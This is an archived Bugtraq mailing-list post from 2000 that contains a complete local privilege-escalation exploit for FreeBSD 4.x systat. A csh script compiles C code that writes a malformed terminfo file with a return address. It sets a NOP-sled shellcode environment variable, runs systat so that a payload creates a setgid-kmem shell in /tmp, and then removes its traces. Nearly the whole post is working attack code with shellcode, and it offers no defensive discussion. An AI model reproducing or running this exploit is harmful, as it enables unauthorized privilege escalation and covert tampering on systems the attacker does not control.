[17130] in bugtraq
FreeBSD 4.x systat exploit
daemon@ATHENA.MIT.EDU (Przemyslaw Frasunek)
Tue Oct 10 12:52:21 2000
Mail-Followup-To: Przemyslaw Frasunek <venglin@freebsd.lublin.pl>,
bugtraq@securityfocus.com
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Message-ID: <20001010145217.I94343@riget.scene.pl>
Date: Tue, 10 Oct 2000 14:52:17 +0200
Reply-To: Przemyslaw Frasunek <venglin@FREEBSD.LUBLIN.PL>
From: Przemyslaw Frasunek <venglin@FREEBSD.LUBLIN.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
#!/bin/csh
# (c) 2000 Przemys³aw Frasunek <venglin@freebsd.lublin.pl>
#
# FreeBSD 4.x systat gid=kmem exploit
# Idea by: Jouko Pynnönen <jouko@SOLUTIONS.FI>
#
# Dedicated to ksm.
cat << __EOF__ > /tmp/xx
#!/bin/csh
cp /bin/csh /tmp
/usr/sbin/chown venglin.kmem /tmp/csh
chmod 2755 /tmp/csh
__EOF__
chmod 755 /tmp/xx
cat << __EOF__ > /tmp/sploitte.c
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#define OFF -400
#define ALIGN 516
long getesp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(void)
{
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/xx\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
/* precompiled terminfo binary header */
char evilcap[] =
"\x1a\x01\x2a\x00\x26\x00\x21\x00\x82\x01\x09\x02\x73\x63\x72\x65"
"\x65\x6e\x7c\x56\x54\x20\x31\x30\x30\x2f\x41\x4e\x53\x49\x20\x58"
"\x33\x2e\x36\x34\x20\x76\x69\x72\x74\x75\x61\x6c\x20\x74\x65\x72"
"\x6d\x69\x6e\x61\x6c";
char retbuf[5];
long ret = getesp() + OFF;
int i;
/* malicious terminfo binary */
write(2, evilcap, sizeof(evilcap)-1);
for (i=0;i<39;i++) write(2, "\0", 1);
for (i=0;i<86;i++) write(2, "\xff", 1);
write(2, "\0\0", 2);
for (i=0;i<750;i++) write(2, "\xff", 1);
for (i=0;i<ALIGN;i++) write(2, "a", 1);
sprintf(retbuf, "%c%c%c%c", ((int)ret & 0xff),
(((int)ret & 0xff00) >> 8),
(((int)ret & 0xff0000) >> 16),
(((int)ret & 0xff000000) >> 24));
write(2, retbuf, 5);
}
__EOF__
# malformed terminfo binary.
cc -o /tmp/s /tmp/sploitte.c
cd $HOME
mkdir -p .terminfo/s
/tmp/s >& .terminfo/s/screen
setenv TERM screen
# plenty of nops - usually adjusting offset isn't needed.
setenv EGG `perl -e 'print "\x90" x 10000 ; print "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/xx\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"'`
# boom.
/usr/bin/systat >& /dev/null
# cleaning up.
rm -f .terminfo/s/screen
ls -la /tmp/csh
--
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
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